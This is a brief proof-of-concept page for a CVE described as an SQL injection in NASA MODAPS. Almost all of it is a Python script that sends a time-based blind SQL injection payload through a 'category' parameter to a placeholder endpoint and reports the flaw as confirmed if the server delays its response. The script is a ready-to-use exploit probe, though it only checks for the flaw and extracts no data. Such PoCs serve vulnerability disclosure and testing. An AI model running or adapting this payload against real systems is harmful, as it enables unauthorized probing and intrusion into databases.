CVE-2024-46636 NASA MODAPS SQL注入漏洞

import requests # Target URL (Example, replace with actual vulnerable endpoint) target_url = "https://example.com/modaps/vulnerable_endpoint" # Vulnerable parameter: category # Payload demonstrating time-based blind SQL injection payload = "1' AND SLEEP(5)-- -" params = { "category": payload } try: response = requests.get(target_url, params=params, timeout=10) # Check if the response time indicates successful execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection in 'category' parameter.") else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"Error occurred: {e}")